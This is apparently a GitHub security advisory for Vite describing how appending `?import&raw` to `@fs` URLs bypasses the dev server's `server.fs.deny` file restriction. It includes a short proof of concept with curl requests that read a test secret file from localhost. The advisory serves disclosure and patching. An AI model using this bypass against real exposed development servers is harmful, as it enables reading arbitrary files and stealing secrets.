MEDIUM 5.3

GHSA-9cwx-2883-4wfx

Vite's `server.fs.deny` is bypassed when using `?import&raw`

Details

### Summary The contents of arbitrary files can be returned to the browser.

### Details `@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists.

### PoC ```sh $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt"

<body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.

# security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2... ```